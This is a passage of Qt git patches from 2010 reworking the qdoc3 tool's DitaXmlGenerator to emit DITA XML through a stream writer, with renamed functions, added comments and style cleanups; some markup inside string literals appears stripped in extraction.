    , or + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } ++m; } } +/*! + This function writes the output for the \property commands. + This is the Q_PROPERTYs. + */ void DitaXmlGenerator::writeProperties(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -4911,12 +4807,20 @@ void DitaXmlGenerator::writeProperties(const Section& s, writer.writeCharacters(pn->name()); writer.writeEndElement(); // generateBrief(pn,marker); + + // not included: + writer.writeStartElement(CXXVARIABLEDETAIL); writer.writeStartElement(CXXVARIABLEDEFINITION); writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); writer.writeAttribute("value",pn->accessString()); writer.writeEndElement(); // + // not included: , + // , + // , + // , + if (!pn->qualifiedDataType().isEmpty()) { writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); writer.writeCharacters(pn->qualifiedDataType()); @@ -4934,10 +4838,10 @@ void DitaXmlGenerator::writeProperties(const Section& s, writer.writeCharacters(pn->qualifiedDataType()); writer.writeCharacters(" "); writer.writeCharacters(pn->name()); - writePropParams("READ",pn->getters()); - writePropParams("WRITE",pn->setters()); - writePropParams("RESET",pn->resetters()); - writePropParams("NOTIFY",pn->notifiers()); + writePropertyParameter("READ",pn->getters()); + writePropertyParameter("WRITE",pn->setters()); + writePropertyParameter("RESET",pn->resetters()); + writePropertyParameter("NOTIFY",pn->notifiers()); if (pn->isDesignable() != pn->designableDefault()) { writer.writeCharacters(" DESIGNABLE "); if (!pn->runtimeDesignabilityFunction().isEmpty()) @@ -4988,13 +4892,22 @@ void DitaXmlGenerator::writeProperties(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } ++m; } } +/*! + This function outputs the nodes resulting from \variable commands. + */ void DitaXmlGenerator::writeDataMembers(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -5009,12 +4922,17 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writer.writeCharacters(vn->name()); writer.writeEndElement(); // generateBrief(vn,marker); + + // not included: + writer.writeStartElement(CXXVARIABLEDETAIL); writer.writeStartElement(CXXVARIABLEDEFINITION); writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); writer.writeAttribute("value",vn->accessString()); writer.writeEndElement(); // + // not included: + if (vn->isStatic()) { writer.writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC); writer.writeAttribute("name","static"); @@ -5022,6 +4940,9 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writer.writeEndElement(); // } + // not included: , + // , + writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); writer.writeCharacters(vn->leftType()); if (!vn->rightType().isEmpty()) @@ -5047,6 +4968,8 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); writer.writeEndElement(); // + // not included: + writeLocation(vn); writer.writeEndElement(); // writer.writeStartElement(APIDESC); @@ -5056,13 +4979,22 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } ++m; } } +/*! + This function writes a \macro as a . + */ void DitaXmlGenerator::writeMacros(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -5078,6 +5010,9 @@ void DitaXmlGenerator::writeMacros(const Section& s, writer.writeCharacters(fn->name()); writer.writeEndElement(); // generateBrief(fn,marker); + + // not included: + writer.writeStartElement(CXXDEFINEDETAIL); writer.writeStartElement(CXXDEFINEDEFINITION); writer.writeStartElement(CXXDEFINEACCESSSPECIFIER); @@ -5125,6 +5060,9 @@ void DitaXmlGenerator::writeMacros(const Section& s, writer.writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); writer.writeCharacters(params[i]); writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } writer.writeEndElement(); // @@ -5140,7 +5078,13 @@ void DitaXmlGenerator::writeMacros(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } } @@ -5148,7 +5092,12 @@ void DitaXmlGenerator::writeMacros(const Section& s, } } -void DitaXmlGenerator::writePropParams(const QString& tag, const NodeList& nlist) +/*! + This function writes one parameter of a Q_PROPERTY macro. + The property is identified by \a tag ("READ" "WRIE" etc), + and it is found in the 'a nlist. + */ +void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList& nlist) { NodeList::const_iterator n = nlist.begin(); while (n != nlist.end()) { @@ -5161,3 +5110,192 @@ void DitaXmlGenerator::writePropParams(const QString& tag, const NodeList& nlist } QT_END_NAMESPACE + +#ifdef TO_BE_INCLUDED_IN_API_DESC + Text subtitleText; + if (rawTitle != fullTitle) + subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" + << Atom(Atom::LineBreak); + + QString shortVersion; + shortVersion = project + " " + shortVersion + ": "; + shortVersion = myTree->version(); + if (shortVersion.count(QChar('.')) == 2) + shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); + if (!shortVersion.isEmpty()) { + if (project == "QSA") + shortVersion = "QSA " + shortVersion + ": "; + else + shortVersion = "Qt " + shortVersion + ": "; + } + + out() << " " << shortVersion << protectEnc(title) << "\n"; + +#if 0 + out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); + generateBreadCrumbs(title,node,marker); + out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); +#endif + + sections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + generateTableOfContents(inner,marker,§ions); + generateTitle(title, subtitleText, SmallSubTitle, inner, marker); + + if (cn && !cn->qmlElement().isEmpty()) { + generateInstantiatedBy(cn,marker); + } + + generateBrief(inner, marker); + generateIncludes(inner, marker); + generateStatus(inner, marker); + if (cn) { + generateInherits(cn, marker); + generateInheritedBy(cn, marker); + } + generateThreadSafeness(inner, marker); + generateSince(inner, marker); + + out() << "
      \n"; + + QString membersLink = generateListOfAllMemberFile(inner, marker); + if (!membersLink.isEmpty()) + out() << "
    • " + << "List of all members, including inherited members
    • \n"; + + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + if (!obsoleteLink.isEmpty()) + out() << "
    • " + << "Obsolete members
    • \n"; + + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!compatLink.isEmpty()) + out() << "
    • " + << "Qt 3 support members
    • \n"; + + out() << "
    \n"; + + bool needOtherSection = false; + + /* + sections is built above for the call to generateTableOfContents(). + */ + s = sections.begin(); + while (s != sections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + if (!s->members.isEmpty()) { + out() << "
    \n"; + out() << "\n"; + out() << "

    " << protectEnc((*s).name) << "

    \n"; + generateSection(s->members, inner, marker, CodeMarker::Summary); + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + out() << "
    \n"; + out() << "\n"; + out() << "

    " << protectEnc(name) << "

    \n"; + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + } + + if (!s->inherited.isEmpty()) { + out() << "
      \n"; + generateSectionInheritedList(*s, inner, marker, true); + out() << "
    \n"; + } + } + ++s; + } + + if (needOtherSection) { + out() << "

    Additional Inherited Members

    \n" + "
      \n"; + + s = sections.begin(); + while (s != sections.end()) { + if (s->members.isEmpty() && !s->inherited.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + out() << "
    \n"; + } + + out() << "\n"; + + if (!inner->doc().isEmpty()) { + out() << "
    \n" + << "
    \n" // QTBUG-9504 + << "

    " << "Detailed Description" << "

    \n"; + generateBody(inner, marker); + out() << "
    \n"; // QTBUG-9504 + generateAlsoList(inner, marker); + } + + sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = sections.begin(); + while (s != sections.end()) { + out() << "
    \n"; + if (!(*s).divClass.isEmpty()) + out() << "
    \n"; // QTBUG-9504 + out() << "

    " << protectEnc((*s).name) << "

    \n"; + + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + if ((*m)->access() != Node::Private) { // ### check necessary? + if ((*m)->type() != Node::Class) + generateDetailedMember(*m, inner, marker); + else { + out() << "

    class "; + generateFullName(*m, inner, marker); + out() << "

    "; + generateBrief(*m, marker, inner); + } + + QStringList names; + names << (*m)->name(); + if ((*m)->type() == Node::Function) { + const FunctionNode *func = reinterpret_cast(*m); + if (func->metaness() == FunctionNode::Ctor || + func->metaness() == FunctionNode::Dtor || + func->overloadNumber() != 1) + names.clear(); + } + else if ((*m)->type() == Node::Property) { + const PropertyNode *prop = reinterpret_cast(*m); + if (!prop->getters().isEmpty() && + !names.contains(prop->getters().first()->name())) + names << prop->getters().first()->name(); + if (!prop->setters().isEmpty()) + names << prop->setters().first()->name(); + if (!prop->resetters().isEmpty()) + names << prop->resetters().first()->name(); + } + else if ((*m)->type() == Node::Enum) { + const EnumNode *enume = reinterpret_cast(*m); + if (enume->flagsType()) + names << enume->flagsType()->name(); + + foreach (const QString &enumName, + enume->doc().enumItemNames().toSet() - + enume->doc().omitEnumItemNames().toSet()) + names << plainCode(marker->markedUpEnumValue(enumName, + enume)); + } + } + ++m; + } + if (!(*s).divClass.isEmpty()) + out() << "
    \n"; // QTBUG-9504 + ++s; + } +#endif // TO_BE_INCLUDED_IN_API_DESC diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 446f735..91d7147 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -133,7 +133,7 @@ class DitaXmlGenerator : public PageGenerator void writeMacros(const Section& s, const ClassNode* cn, CodeMarker* marker); - void writePropParams(const QString& tag, const NodeList& nlist); + void writePropertyParameter(const QString& tag, const NodeList& nlist); private: enum SubTitleSize { SmallSubTitle, LargeSubTitle }; @@ -205,20 +205,18 @@ class DitaXmlGenerator : public PageGenerator const Node *relative, CodeMarker *marker, CodeMarker::SynopsisStyle style); - void generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style, - bool nameAlignment = false); + QString getMarkedUpSynopsis(const Node *node, + const Node *relative, + CodeMarker *marker, + CodeMarker::SynopsisStyle style); void generateSectionInheritedList(const Section& section, const Node *relative, CodeMarker *marker, bool nameAlignment = false); - QString highlightedCode(const QString& markedCode, - CodeMarker *marker, - const Node *relative, - CodeMarker::SynopsisStyle style = CodeMarker::Accessors, - bool nameAlignment = false); + void writeText(const QString& markedCode, + CodeMarker *marker, + const Node *relative, + bool nameAlignment = false); void generateFullName(const Node *apparentNode, const Node *relative, @@ -280,6 +278,7 @@ class DitaXmlGenerator : public PageGenerator bool inContents; bool inSectionHeading; bool inTableHeader; + bool inTableBody; int numTableRows; bool threeColumnEnumValueTable; bool offlineDocs; @@ -302,6 +301,7 @@ class DitaXmlGenerator : public PageGenerator bool slow; bool obsoleteLinks; int noLinks; + int tableColumnCount; QMap moduleClassMap; QMap moduleNamespaceMap; NodeMap nonCompatClasses; diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index 41f90d5..ce53b86 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1152,8 +1152,8 @@ QString Parameter::reconstruct(bool value) const if (!p.endsWith(QChar('*')) && !p.endsWith(QChar('&')) && !p.endsWith(QChar(' '))) p += " "; p += nam; - if (value) - p += def; + if (value && !def.isEmpty()) + p += " = " + def; return p; } diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index a187c2e..39ee98b 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -273,6 +273,11 @@ QString PageGenerator::outFileName() return QFileInfo(static_cast(out().device())->fileName()).fileName(); } +/*! + Creates the file named \a fileName in the output directory. + Attaches a QTextStream to the created file, which is written + to all over the place using out(). + */ void PageGenerator::beginSubPage(const Location& location, const QString& fileName) { @@ -285,6 +290,11 @@ void PageGenerator::beginSubPage(const Location& location, outStreamStack.push(out); } +/*! + Flush the text stream associated with the subpage, and + then pop it off the text stream stack and delete it. + This terminates output of the subpage. + */ void PageGenerator::endSubPage() { outStreamStack.top()->flush(); -- cgit v0.12 From 7a3273ebbbff161e84c87de01e448047ffa0f2b5 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 7 Sep 2010 13:20:26 +0200 Subject: qdoc: Generate correct dita table for the annotated list. --- tools/qdoc3/ditaxmlgenerator.cpp | 47 +++++++++++++++++++++++++--------------- 1 file changed, 30 insertions(+), 17 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 3d1c53e..93fd523 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2239,43 +2239,56 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, } } -void DitaXmlGenerator::generateAnnotatedList(const Node *relative, - CodeMarker *marker, - const NodeMap &nodeMap) +void DitaXmlGenerator::generateAnnotatedList(const Node* relative, + CodeMarker* marker, + const NodeMap& nodeMap) { - out() << "\n"; + writer.writeStartElement("table"); + writer.writeAttribute("outputclass","annotated"); + writer.writeStartElement("tgroup"); + writer.writeAttribute("cols","2"); + writer.writeStartElement("tbody"); int row = 0; - foreach (const QString &name, nodeMap.keys()) { - const Node *node = nodeMap[name]; + foreach (const QString& name, nodeMap.keys()) { + const Node* node = nodeMap[name]; if (node->status() == Node::Obsolete) continue; + writer.writeStartElement("row"); if (++row % 2 == 1) - out() << ""; + writer.writeAttribute("outputclass","odd topAlign"); else - out() << ""; - out() << ""; + writer.writeEndElement(); //

    + writer.writeEndElement(); // if (!(node->type() == Node::Fake)) { Text brief = node->doc().trimmedBriefText(name); if (!brief.isEmpty()) { - out() << ""; + writer.writeEndElement(); //

    + writer.writeEndElement(); // } } else { - out() << ""; + writer.writeStartElement("entry"); + writer.writeStartElement("p"); + writer.writeCharacters(protectEnc(node->doc().briefText().toString())); + writer.writeEndElement(); //

    + writer.writeEndElement(); // } - out() << "\n"; + writer.writeEndElement(); // } - out() << "

    "; + writer.writeAttribute("outputclass","even topAlign"); + writer.writeStartElement("entry"); + writer.writeStartElement("p"); generateFullName(node, relative, marker); - out() << "

    "; + writer.writeStartElement("entry"); + writer.writeStartElement("p"); generateText(brief, node, marker); - out() << "

    "; - out() << protectEnc(node->doc().briefText().toString()); - out() << "

    \n"; + writer.writeEndElement(); // + writer.writeEndElement(); // + writer.writeEndElement(); // } /*! -- cgit v0.12 From 12ac485add4a4c7db5996dcd51400e90ea44ef23 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 8 Sep 2010 15:18:09 +0200 Subject: qdoc: Generate xml for more kinds of pages. Not complete. --- tools/qdoc3/atom.cpp | 26 ++++---- tools/qdoc3/ditaxmlgenerator.cpp | 136 ++++++++++++++++++++++++++------------- tools/qdoc3/generator.cpp | 13 ++-- 3 files changed, 114 insertions(+), 61 deletions(-) diff --git a/tools/qdoc3/atom.cpp b/tools/qdoc3/atom.cpp index 88f44ea..6f1602e 100644 --- a/tools/qdoc3/atom.cpp +++ b/tools/qdoc3/atom.cpp @@ -241,25 +241,25 @@ static const struct { { 0, 0 } }; -/*! \fn Atom::Atom( Type type, const QString& string ) +/*! \fn Atom::Atom(Type type, const QString& string) Constructs an atom (\a type, \a string) outside of any atom list. */ -/*! \fn Atom( Atom *prev, Type type, const QString& string ) +/*! \fn Atom(Atom *prev, Type type, const QString& string) Constructs an atom (\a type, \a string) that follows \a prev in \a prev's atom list. */ -/*! \fn void Atom::appendChar( QChar ch ) +/*! \fn void Atom::appendChar(QChar ch) Appends \a ch to the string parameter of this atom. \also string() */ -/*! \fn void Atom::appendString( const QString& string ) +/*! \fn void Atom::appendString(const QString& string) Appends \a string to the string parameter of this atom. @@ -316,18 +316,18 @@ QString Atom::typeString() const { static bool deja = false; - if ( !deja ) { + if (!deja) { int i = 0; - while ( atms[i].english != 0 ) { - if ( atms[i].no != i ) - Location::internalError( tr("atom %1 missing").arg(i) ); + while (atms[i].english != 0) { + if (atms[i].no != i) + Location::internalError(tr("atom %1 missing").arg(i)); i++; } deja = true; } int i = (int) type(); - if ( i < 0 || i > (int) Last ) + if (i < 0 || i > (int) Last) return QLatin1String("Invalid"); return QLatin1String(atms[i].english); } @@ -346,10 +346,10 @@ QString Atom::typeString() const void Atom::dump() const { QString str = string(); - str.replace( "\\", "\\\\" ); - str.replace( "\"", "\\\"" ); - str.replace( "\n", "\\n" ); - str.replace( QRegExp("[^\x20-\x7e]"), "?" ); + str.replace("\\", "\\\\"); + str.replace("\"", "\\\""); + str.replace("\n", "\\n"); + str.replace(QRegExp("[^\x20-\x7e]"), "?"); if (!str.isEmpty()) str = " \"" + str + "\""; fprintf(stderr, diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 93fd523..d2b20a6 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -579,7 +579,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, QString hx; static bool in_para = false; QString guid, hc; - + switch (atom->type()) { case Atom::AbstractLeft: break; @@ -1530,8 +1530,8 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker /* NOTE: For now we only handle \page elements. */ - if (fake->subType() != Node::Page) - return; + //if (fake->subType() != Node::Page) + //return; if (fake->subType() == Node::File && !fake->subTitle().isEmpty()) { subTitleSize = SmallSubTitle; @@ -1542,28 +1542,56 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker htmlTitle = fullTitle; } - generateHeader(fake); - - if (fake->subType() == Node::Page) { - writer.writeStartElement("topic"); - writer.writeAttribute("id",fake->guid()); - writer.writeStartElement("title"); - writer.writeCharacters(fullTitle); - writer.writeEndElement(); // + QString outputclass; + switch (fake->subType()) { + case Node::Page: + outputclass = "page"; + break; + case Node::Group: + outputclass = "group"; + break; + case Node::Example: + outputclass = "example"; + break; + case Node::HeaderFile: + outputclass = "header"; + break; + case Node::File: + outputclass = "file"; + break; + case Node::Image: + outputclass = "image"; + break; + case Node::Module: + outputclass = "module"; + break; + case Node::ExternalPage: + outputclass = "externalpage"; + break; + case Node::QmlClass: + outputclass = "QML"; + break; + default: + return; + } - generateBrief(fake, marker); // + generateHeader(fake); + + writer.writeStartElement("topic"); + writer.writeAttribute("id",fake->guid()); + writer.writeAttribute("outputclass",outputclass); + writer.writeStartElement("title"); + writer.writeCharacters(fullTitle); + writer.writeEndElement(); // + + generateBrief(fake, marker); // - if (!fake->doc().isEmpty()) { - writer.writeStartElement("body"); - writer.writeStartElement("p"); - writer.writeAttribute("outputclass","h2"); - writer.writeCharacters("Detailed Description"); - writer.writeEndElement(); //

    - generateBody(fake, marker); - writer.writeEndElement(); // - } - writer.writeEndElement(); // + if (!fake->doc().isEmpty()) { + writer.writeStartElement("body"); + generateBody(fake, marker); + writer.writeEndElement(); // } + writer.writeEndElement(); // } #if 0 @@ -1837,11 +1865,23 @@ void DitaXmlGenerator::generateHeader(const Node* node) version + "//EN\" \"" + dtd + "\">"; } else if (node->type() == Node::Fake) { - if (node->subType() == Node::Page) { + switch (node->subType()) { + case Node::Page: + case Node::Group: + case Node::Example: + case Node::HeaderFile: + case Node::File: + case Node::Image: + case Node::Module: + case Node::ExternalPage: + case Node::QmlClass: element = "topic"; dtd = "dtd/topic.dtd"; doctype = ""; + break; + default: + break; } } @@ -2300,11 +2340,11 @@ void DitaXmlGenerator::generateAnnotatedList(const Node* relative, normally you let it figure it out itself by looking at the name of the first and last classes in \a classMap. */ -void DitaXmlGenerator::generateCompactList(const Node *relative, - CodeMarker *marker, - const NodeMap &classMap, - bool includeAlphabet, - QString commonPrefix) +void DitaXmlGenerator::generateCompactList(const Node* relative, + CodeMarker* marker, + const NodeMap& classMap, + bool includeAlphabet, + QString commonPrefix) { const int NumParagraphs = 37; // '0' to '9', 'A' to 'Z', '_' @@ -2519,42 +2559,50 @@ void DitaXmlGenerator::generateCompactList(const Node *relative, writer.writeEndElement(); //

    } -void DitaXmlGenerator::generateFunctionIndex(const Node *relative, - CodeMarker *marker) +void DitaXmlGenerator::generateFunctionIndex(const Node* relative, + CodeMarker* marker) { - out() << "

    "; + writer.writeStartElement("p"); + writer.writeAttribute("outputclass","centerAlign functionIndex"); + writer.writeStartElement("b"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); - out() << QString("%2 ").arg(ch).arg(ch.toUpper()); + writer.writeStartElement("xref"); + writer.writeAttribute("href",QString("#%1").arg(ch)); + writer.writeCharacters(QString(ch.toUpper())); + writer.writeEndElement(); // } - out() << "

    \n"; + writer.writeEndElement(); // + writer.writeEndElement(); //

    char nextLetter = 'a'; char currentLetter; - out() << "
      \n"; + writer.writeStartElement("ul"); QMap::ConstIterator f = funcIndex.begin(); while (f != funcIndex.end()) { - out() << "
    • "; - out() << protectEnc(f.key()) << ":"; - + writer.writeStartElement("li"); currentLetter = f.key()[0].unicode(); while (islower(currentLetter) && currentLetter >= nextLetter) { - out() << QString("").arg(nextLetter); + writer.writeStartElement("p"); + writeGuidAttribute(QString(nextLetter)); + writer.writeAttribute("outputclass","target"); + writer.writeCharacters(QString(nextLetter)); + writer.writeEndElement(); //

      nextLetter++; } + writer.writeCharacters(protectEnc(f.key())); + writer.writeCharacters(":"); NodeMap::ConstIterator s = (*f).begin(); while (s != (*f).end()) { - out() << " "; generateFullName((*s)->parent(), relative, marker, *s); ++s; } - out() << "
    • "; - out() << "\n"; + writer.writeEndElement(); // ++f; } - out() << "
    \n"; + writer.writeEndElement(); // } void DitaXmlGenerator::generateLegaleseList(const Node *relative, @@ -3596,7 +3644,7 @@ void DitaXmlGenerator::findAllSince(const InnerNode *node) } } -void DitaXmlGenerator::findAllFunctions(const InnerNode *node) +void DitaXmlGenerator::findAllFunctions(const InnerNode* node) { NodeList::ConstIterator c = node->childNodes().begin(); while (c != node->childNodes().end()) { @@ -3605,7 +3653,7 @@ void DitaXmlGenerator::findAllFunctions(const InnerNode *node) findAllFunctions(static_cast(*c)); } else if ((*c)->type() == Node::Function) { - const FunctionNode *func = static_cast(*c); + const FunctionNode* func = static_cast(*c); if ((func->status() > Node::Obsolete) && (func->metaness() != FunctionNode::Ctor) && (func->metaness() != FunctionNode::Dtor)) { diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp index 7f39be2..eee998a 100644 --- a/tools/qdoc3/generator.cpp +++ b/tools/qdoc3/generator.cpp @@ -54,6 +54,7 @@ #include "quoter.h" #include "separator.h" #include "tokenizer.h" +#include "ditaxmlgenerator.h" QT_BEGIN_NAMESPACE @@ -385,16 +386,19 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) } else if (node->type() == Node::Fake) { const FakeNode *fake = static_cast(node); - if (fake->subType() == Node::Example) + if (fake->subType() == Node::Example) { generateExampleFiles(fake, marker); - else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image)) + } + else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image)) { quiet = true; + } } if (node->doc().isEmpty()) { - if (!quiet && !node->isReimp()) // ### might be unnecessary + if (!quiet && !node->isReimp()) { // ### might be unnecessary node->location().warning(tr("No documentation for '%1'") .arg(marker->plainFullName(node))); + } } else { if (node->type() == Node::Function) { @@ -403,9 +407,10 @@ void Generator::generateBody(const Node *node, CodeMarker *marker) generateReimplementedFrom(func, marker); } - if (!generateText(node->doc().body(), node, marker)) + if (!generateText(node->doc().body(), node, marker)) { if (node->isReimp()) return; + } if (node->type() == Node::Enum) { const EnumNode *enume = (const EnumNode *) node; -- cgit v0.12 From 7d5366966e4f29b1ccf112e42bc32a3f64bfb0bb Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Sep 2010 09:58:27 +0200 Subject: qdoc: Generate more xml for module pages. --- tools/qdoc3/ditaxmlgenerator.cpp | 66 +++++++++++++++++++++++++--------------- tools/qdoc3/ditaxmlgenerator.h | 3 ++ 2 files changed, 44 insertions(+), 25 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index d2b20a6..55e873f 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -657,14 +657,14 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::Code: writer.writeStartElement("pre"); writer.writeAttribute("outputclass","highlightedcode"); - writeText(atom->string(), marker, relative); + writeText(trimmedTrailing(atom->string()), marker, relative); writer.writeEndElement(); // break; case Atom::Qml: writer.writeStartElement("pre"); writer.writeAttribute("outputclass","highlightedcode"); - writeText(atom->string(), marker, relative); - writer.writeEndElement(); // pre + writeText(trimmedTrailing(atom->string()), marker, relative); + writer.writeEndElement(); // break; case Atom::CodeNew: writer.writeStartElement("p"); @@ -672,7 +672,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, writer.writeEndElement(); //

    writer.writeStartElement("pre"); writer.writeAttribute("outputclass","highlightedcode"); - writeText(atom->string(), marker, relative); + writeText(trimmedTrailing(atom->string()), marker, relative); writer.writeEndElement(); // break; case Atom::CodeOld: @@ -683,7 +683,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::CodeBad: writer.writeStartElement("pre"); writer.writeAttribute("outputclass","highlightedcode"); - writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(indent(codeIndent,atom->string()))))); + writer.writeCharacters(trimmedTrailing(protectEnc(plainCode(atom->string())))); writer.writeEndElement(); // break; case Atom::FootnoteLeft: @@ -1516,6 +1516,25 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } /*! + Write a paragraph for the \a target and a poaragraph for + the \a header. Use the \a attribute for the \a header. + */ +void DitaXmlGenerator::writeTargetAndHeader(const QString& target, + const QString& header, + const QString& attribute) +{ + writer.writeStartElement("p"); + writeGuidAttribute(registerRef(target)); + writer.writeAttribute("outputclass","target"); + writer.writeCharacters(header); + writer.writeEndElement(); //

    + writer.writeStartElement("p"); + writer.writeAttribute("outputclass",attribute); + writer.writeCharacters(header); + writer.writeEndElement(); //

    +} + +/*! Generate the html page for a qdoc file that doesn't map to an underlying c++ file. */ @@ -1585,10 +1604,25 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker writer.writeEndElement(); // generateBrief(fake, marker); // + if (fake->subType() == Node::Module) { + generateStatus(fake, marker); + if (moduleNamespaceMap.contains(fake->name())) { + writeTargetAndHeader("namespaces","Namespaces","h2"); + generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]); + } + if (moduleClassMap.contains(fake->name())) { + writeTargetAndHeader("classes","Classes","h2"); + generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); + } + } if (!fake->doc().isEmpty()) { writer.writeStartElement("body"); + if (fake->subType() == Node::Module) { + writeTargetAndHeader("details","Detailed Description","h2"); + } generateBody(fake, marker); + generateAlsoList(fake, marker); writer.writeEndElement(); // } writer.writeEndElement(); // @@ -1608,22 +1642,7 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker fake, marker); - if (fake->subType() == Node::Module) { - // Generate brief text and status for modules. - generateBrief(fake, marker); - generateStatus(fake, marker); - if (moduleNamespaceMap.contains(fake->name())) { - out() << "\n"; - out() << "

    Namespaces

    \n"; - generateAnnotatedList(fake, marker, moduleNamespaceMap[fake->name()]); - } - if (moduleClassMap.contains(fake->name())) { - out() << "\n"; - out() << "

    Classes

    \n"; - generateAnnotatedList(fake, marker, moduleClassMap[fake->name()]); - } - } else if (fake->subType() == Node::HeaderFile) { // Generate brief text and status for modules. generateBrief(fake, marker); @@ -1711,10 +1730,6 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker else out() << "
    \n"; // QTBUG-9504 - generateBody(fake, marker); - out() << "
    \n"; // QTBUG-9504 - generateAlsoList(fake, marker); - if (!fake->groupMembers().isEmpty()) { NodeMap groupMembersMap; foreach (const Node *node, fake->groupMembers()) { @@ -3248,7 +3263,8 @@ QString DitaXmlGenerator::registerRef(const QString& ref) if (prevRef.isEmpty()) { prevRef = ref; break; - } else if (prevRef == ref) { + } + else if (prevRef == ref) { break; } clean += "x"; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 91d7147..fe7a434 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -110,6 +110,9 @@ class DitaXmlGenerator : public PageGenerator virtual QString linkForNode(const Node *node, const Node *relative); virtual QString refForAtom(Atom *atom, const Node *node); + void writeTargetAndHeader(const QString& target, + const QString& header, + const QString& attribute); QString fullQualification(const Node* n); void writeDerivations(const ClassNode* cn, CodeMarker* marker); -- cgit v0.12 From d623e2bb039111957efd5edd7da84e3c5a22751e Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 9 Sep 2010 10:40:01 +0200 Subject: qdoc: Generate more xml for group pages. --- tools/qdoc3/ditaxmlgenerator.cpp | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 55e873f..cd644ec 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1623,6 +1623,16 @@ void 